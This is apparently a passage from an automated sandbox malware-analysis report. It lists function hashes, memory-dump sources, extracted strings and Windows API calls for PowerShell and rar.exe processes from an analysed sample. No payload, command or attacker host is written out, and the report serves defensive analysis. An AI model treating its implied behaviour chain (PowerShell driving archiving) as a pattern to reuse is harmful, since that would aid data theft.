API String ID:
Opcode ID: 738cb5dde214f442d8b6ee4226b23663e327ca49a86fe749230b19a4ae7085fa
Instruction ID: 8d30902c9c3e0e70108b82b6fed905ce3b08c58fb41563a67a05411648e94bb4
Opcode Fuzzy Hash: 738cb5dde214f442d8b6ee4226b23663e327ca49a86fe749230b19a4ae7085fa
Instruction Fuzzy Hash: 66412A7180DBC44FE7568B299855A523FF0EF52364F1606DFE088CB1A3D625E846C7A3

Function 00007FFD992C429F Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1832061601.00007FFD992C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD992C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd992c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aac8790259c33471d7ae427f557a3dd4b1a6f71873ad109b2bddf61f1041d686
Instruction ID: fec433d3d312c6f6b87bf15fcf1219f78aac5c76311dcb6beb2c0d265616f9c7
Opcode Fuzzy Hash: aac8790259c33471d7ae427f557a3dd4b1a6f71873ad109b2bddf61f1041d686
Instruction Fuzzy Hash: AB21D122B0DA870FF7B9EE58446157567C2EF892187A901FAD04DC3192EE18EC068347

Function 00007FFD992C459C Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1832061601.00007FFD992C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD992C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd992c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1052af91f4eef3c85fb0cd3ebcb8dceca28f29b70dc249746e2c8f6d6b0db094
Instruction ID: 20040d74224cff1f208b9058c26c8278f5161661e46c9616db430fef0dd04eaa
Opcode Fuzzy Hash: 1052af91f4eef3c85fb0cd3ebcb8dceca28f29b70dc249746e2c8f6d6b0db094
Instruction Fuzzy Hash: 8C11E032F0E9850FF7B5EB5894709B57BD1EF1936879900FAE04DC70D6E919AC068342

Function 00007FFD991F33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1826172617.00007FFD991F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD991F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd991f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 77a2e40f241ed5ce18c879ae7199efbf6c099377721301f2fab5458e7fed0d0c
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: D301677121CB0D4FD744EF0CE451AA5B7E0FB95364F10056DE58AC3695DA36E882CB46

Function 00007FFD991F78ED Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1826172617.00007FFD991F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD991F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd991f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d537df1568fed4409c1ddc2339831d43ce3dd352a933c1c8761f461746355e01
Instruction ID: 863822203987841c53a87619bbf4fbc66942149828d639818ac62509290ac316
Opcode Fuzzy Hash: d537df1568fed4409c1ddc2339831d43ce3dd352a933c1c8761f461746355e01
Instruction Fuzzy Hash: 96E0722030C68A0FC3108268B020BFA7A81EF88300F00083DF4CE833CBCA8C68828353

Non-executed Functions

Function 00007FFD991F851D Relevance: 6.4, Strings: 5, Instructions: 118COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFD991F856A
M_^, xrefs: 00007FFD991F857A
M_^, xrefs: 00007FFD991F852A
M_^, xrefs: 00007FFD991F85C9
M_^, xrefs: 00007FFD991F850A

Memory Dump Source

Source File: 0000000C.00000002.1826172617.00007FFD991F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD991F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd991f0000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^$M_^
API String ID: 0-2396788759
Opcode ID: 43705adb00ec8032a7c6d53b8ad74c5d9408b2f00d4b4dc98c9de779d15080d1
Instruction ID: 4548f9abefe058aa5befae9679930145c0e9ee000e5b8a8de3b20a2015a6a278
Opcode Fuzzy Hash: 43705adb00ec8032a7c6d53b8ad74c5d9408b2f00d4b4dc98c9de779d15080d1
Instruction Fuzzy Hash: E13176E3F0EAC64FF397497D597609A3BE0FE6225874A01FBC4DA96077F815280B4252

Function 00007FFD991F86FA Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFD991F8722
M_^, xrefs: 00007FFD991F8712
M_^, xrefs: 00007FFD991F8772
M_^, xrefs: 00007FFD991F8762

Memory Dump Source

Source File: 0000000C.00000002.1826172617.00007FFD991F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD991F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd991f0000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^
API String ID: 0-1397233021
Opcode ID: 6bac703635d2a7a8bd5df03dbd399d4b7c2b2893d9a4650531fd42a289370d0a
Instruction ID: 31c9314e8f22bccf0844a633ca156cbfd00342d65019bcb85b2c068d6f94578c
Opcode Fuzzy Hash: 6bac703635d2a7a8bd5df03dbd399d4b7c2b2893d9a4650531fd42a289370d0a
Instruction Fuzzy Hash: 433187A3F0E6DA4EF3679A7859761953BD0FF2225CB0A02F7C4D9DA097FE24180A4113

Analysis Process: powershell.exePID: 7400, Parent PID: 3748COMMON

Executed Functions

Function 00007FFD9A9E17D9 Relevance: .8, Instructions: 759COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004A.00000002.2040162242.00007FFD9A9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_74_2_7ffd9a9e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4bdbf92d16b94b484d5941e0a3a66394e9be17a80ebd73133070dcca20535c0
Instruction ID: 820de54b01a98104183c8de54369fd37b7c57916b68a3082435ad5fd8d65d85e
Opcode Fuzzy Hash: e4bdbf92d16b94b484d5941e0a3a66394e9be17a80ebd73133070dcca20535c0
Instruction Fuzzy Hash: F2226922B0EA895FE76A977858751B57BE0EFA6314B6801FBD08DC70D7DE18AC06C341

Function 00007FFD9A914DD3 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004A.00000002.2039590071.00007FFD9A910000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_74_2_7ffd9a910000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94a58b3d9ec58fc84cca71dd95e39dc8e32fe649018e915d11699667f40e3920
Instruction ID: 55869c0a6d50498bdee63cc3c2c20de71fb9c8b537e8373d7c69a6ac47212a5e
Opcode Fuzzy Hash: 94a58b3d9ec58fc84cca71dd95e39dc8e32fe649018e915d11699667f40e3920
Instruction Fuzzy Hash: EA61D671E086588FDB58DFACD8956ACBBB1FF8A310F1441AED009D7392CA356803CB80

Function 00007FFD9A9E1A10 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004A.00000002.2040162242.00007FFD9A9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_74_2_7ffd9a9e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b6db899d81e044a72e847eb14405a8279c264ca0a4de8e94f2113044ca7fa56
Instruction ID: 51009734b7788f66e2148a9a5f19cdf0d6f7db62c3dc4ec45ab3f7234b1dc35e
Opcode Fuzzy Hash: 9b6db899d81e044a72e847eb14405a8279c264ca0a4de8e94f2113044ca7fa56
Instruction Fuzzy Hash: DA512532A0E6859FE36A9B6848742B47BA1FF92314B6D01FBD04CC71E7EE186D05C342

Function 00007FFD9A913945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004A.00000002.2039590071.00007FFD9A910000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_74_2_7ffd9a910000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: b8b14bf90c39bee35028d0c53e7a4abc90454fb29aad5f7aff54d9cfc3232422
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 0201A73120CB0C8FDB48EF0CE451AA6B3E0FB89324F10056EE58AC3695D632E881CB42

Analysis Process: rar.exePID: 7412, Parent PID: 7500COMMON

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.5%
Total number of Nodes:	1246
Total number of Limit Nodes:	40

Executed Functions

Function 00007FF6BBCC54C0 Relevance: 36.3, APIs: 4, Strings: 16, Instructions: 1336COMMON

Download Yara Rule

Strings

rar.log, xrefs: 00007FF6BBCC5CE5
LOG, xrefs: 00007FF6BBCC5CD0
EML, xrefs: 00007FF6BBCC5D6B
stdin, xrefs: 00007FF6BBCC672D
7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx, xrefs: 00007FF6BBCC5935
SFX, xrefs: 00007FF6BBCC60CC
SND, xrefs: 00007FF6BBCC5D11
*?., xrefs: 00007FF6BBCC598C
+, xrefs: 00007FF6BBCC6535
*.%ls, xrefs: 00007FF6BBCC59AF
VER, xrefs: 00007FF6BBCC5EBA
default.sfx, xrefs: 00007FF6BBCC60F4
stdin, xrefs: 00007FF6BBCC6236
NUL, xrefs: 00007FF6BBCC5DB3
ERR, xrefs: 00007FF6BBCC5D40
OFF, xrefs: 00007FF6BBCC5E4B

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID:
String ID: *.%ls$*?.$+$7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx$EML$ERR$LOG$NUL$OFF$SFX$SND$VER$default.sfx$rar.log$stdin$stdin
API String ID: 0-1628410872
Opcode ID: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction ID: 06c2e6b802bfc482f84bc09b4a0c66c8a8b6f31a4673935ebaaf1c56d7b07e73
Opcode Fuzzy Hash: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction Fuzzy Hash: 9DC2B472A0C18281EA64DF2C824D1BD2AB1BF29784F998135CB4EC72F5DF6DE945C394

Function 00007FF6BBCB1884 Relevance: 24.1, APIs: 5, Strings: 8, Instructions: 1374COMMON

Download Yara Rule

Strings

exe, xrefs: 00007FF6BBCB1897
BK, xrefs: 00007FF6BBCB19C5
%s%s , xrefs: 00007FF6BBCB2A46
,6, xrefs: 00007FF6BBCB2F83
q:, xrefs: 00007FF6BBCB19DA
rar, xrefs: 00007FF6BBCB18AA
.ext, xrefs: 00007FF6BBCB18C0
sfx, xrefs: 00007FF6BBCB1884

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID:
String ID: %s%s $.ext$exe$rar$sfx$,6$BK$q:
API String ID: 0-1660254149
Opcode ID: fcae9a43a8aee64a161a70ef5c03c8a1e75f6e78424a2bd0d1ad2b3f27dabaca
Instruction ID: 347f999c8ac34d944b2e138107f5b9047a91c8a5d1f28f23fa021096d95e693b
Opcode Fuzzy Hash: fcae9a43a8aee64a161a70ef5c03c8a1e75f6e78424a2bd0d1ad2b3f27dabaca
Instruction Fuzzy Hash: C4E2B226A09ACA89EB30DF29D8482FD2BB1FB49788F454035DB5D8B7A6DF39D545C300

Function 00007FF6BBCF48CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6BBCF4AE0: FreeLibrary.KERNEL32(?,?,00000000,00007FF6BBCCCC90), ref: 00007FF6BBCF4AF5

GetModuleFileNameW.KERNEL32(?,?,?,00007FF6BBCE7E7D), ref: 00007FF6BBCF492E
GetVersionExW.KERNEL32(?,?,?,00007FF6BBCE7E7D), ref: 00007FF6BBCF496A
LoadLibraryExW.KERNELBASE(?,?,?,00007FF6BBCE7E7D), ref: 00007FF6BBCF4993
LoadLibraryW.KERNEL32(?,?,?,00007FF6BBCE7E7D), ref: 00007FF6BBCF499F

Strings

rarlng.dll, xrefs: 00007FF6BBCF493A

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Library$Load$FileFreeModuleNameVersion
String ID: rarlng.dll
API String ID: 2520153904-1675521814
Opcode ID: 49b096ca26b206715f71fd28137422a8c8958387befaadcb30f15fb4690b8ba1
Instruction ID: c29f9ada4f9028c8f0e15496430152894cf363863612fec2b6f50f3f2f92c68a
Opcode Fuzzy Hash: 49b096ca26b206715f71fd28137422a8c8958387befaadcb30f15fb4690b8ba1
Instruction Fuzzy Hash: 16312F31718A8285FB68DF29E8852E92374FB49784F844175EB4DC2AA5DF3CE649CB40

Function 00007FF6BBCD46EC Relevance: 7.6, APIs: 5, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,00000000,?,?,00007FF6BBCD4620,?,00000000,?,00007FF6BBCF7A8C), ref: 00007FF6BBCD4736
FindFirstFileW.KERNEL32(?,00000000,?,?,00007FF6BBCD4620,?,00000000,?,00007FF6BBCF7A8C), ref: 00007FF6BBCD476B
GetLastError.KERNEL32(?,00000000,?,?,00007FF6BBCD4620,?,00000000,?,00007FF6BBCF7A8C), ref: 00007FF6BBCD477A
FindNextFileW.KERNELBASE(?,?,00000000,?,?,00007FF6BBCD4620,?,00000000,?,00007FF6BBCF7A8C), ref: 00007FF6BBCD47A4
GetLastError.KERNEL32(?,00000000,?,?,00007FF6BBCD4620,?,00000000,?,00007FF6BBCF7A8C), ref: 00007FF6BBCD47B2

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction ID: 9ed9c74dafd5e9200cb55794100ab55cf0346b0b78c34bf0927082b3a47d944a
Opcode Fuzzy Hash: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction Fuzzy Hash: 2C41A136708A8196EA28DB29E5442E963A0FB4D7B4F404331EB7D837E5DF6CE159C700

Function 00007FF6BBCC901C Relevance: 4.5, APIs: 3, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00007FF6BBCC904D
CryptGenRandom.ADVAPI32 ref: 00007FF6BBCC9061
CryptReleaseContext.ADVAPI32 ref: 00007FF6BBCC9074

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction ID: ec507599c9b79f09b923f9454cd8294f7e62692de4016a61601a10b99012efb8
Opcode Fuzzy Hash: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction Fuzzy Hash: 2C016D26B0869082F7448B1AE9543296761FBD8FD0F198531DF4D83B68CF7DD9468744

Function 00007FF6BBCBB540 Relevance: 2.0, APIs: 1, Instructions: 490COMMON

Download Yara Rule

APIs

CharToOemA.USER32 ref: 00007FF6BBCBB900

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Char
String ID:
API String ID: 751630497-0
Opcode ID: 544a3eeab9b7365b5894b0fe2e19e3e09eeebdeb3bd711af898eb3b5dda5a90f
Instruction ID: e438bf8a6299c7ab51eecd28e0f4b122e952251489ffa04f8dc04bc7d265d81d
Opcode Fuzzy Hash: 544a3eeab9b7365b5894b0fe2e19e3e09eeebdeb3bd711af898eb3b5dda5a90f
Instruction Fuzzy Hash: 9F22AF22A0868696EB24DF34D5452FEBBB0FB58748F484035DB8D972A9CF7CE942C750

Function 00007FF6BBCDAE10 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6BBCDB0C7

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac23bd2f1d97dba6c8ed780cfc15edbe6b4d609a338b12ac683d3955c16e23e4
Instruction ID: d7053b721e97c28e9971026a3150774fd8249a99c6abbf4eaada31f9927f9105
Opcode Fuzzy Hash: ac23bd2f1d97dba6c8ed780cfc15edbe6b4d609a338b12ac683d3955c16e23e4
Instruction Fuzzy Hash: 0F71C032A05A8586D748DF29E4153ED33A1FB8CB98F084239DB5DCB3A9DF78A051C790

Function 00007FF6BBCF3EA8 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 491
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF6BBCF3EF9
GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6BBCF3E8F,?,00007FF6BBCE7E90), ref: 00007FF6BBCF3F14
snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCF43C6

Strings

*messages***, xrefs: 00007FF6BBCF4050
MENU, xrefs: 00007FF6BBCF4235
$%s:, xrefs: 00007FF6BBCF439E
DIRECTION, xrefs: 00007FF6BBCF4243
DIALOG, xrefs: 00007FF6BBCF4227
@%s:, xrefs: 00007FF6BBCF43A5
*messages***, xrefs: 00007FF6BBCF4080
,, xrefs: 00007FF6BBCF43FB
RTL, xrefs: 00007FF6BBCF437A
STRINGS, xrefs: 00007FF6BBCF4219
\, xrefs: 00007FF6BBCF4519

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: FileModuleNamesnprintfwcschr
String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS$\
API String ID: 602362809-1645646101
Opcode ID: 13040d61f0e7da43208126d1082a5dded3eea02b21a4f98514b48b8c6faaa874
Instruction ID: 74140f271701fcdc43a7cce94e5f849dfcbb68171f9b5d2378e1493f89f2ac6c
Opcode Fuzzy Hash: 13040d61f0e7da43208126d1082a5dded3eea02b21a4f98514b48b8c6faaa874
Instruction Fuzzy Hash: 3E22BF22A1868295EB24DB1DD4982F96371FF48784F805136EB5EC7AE9EF3CE548C340

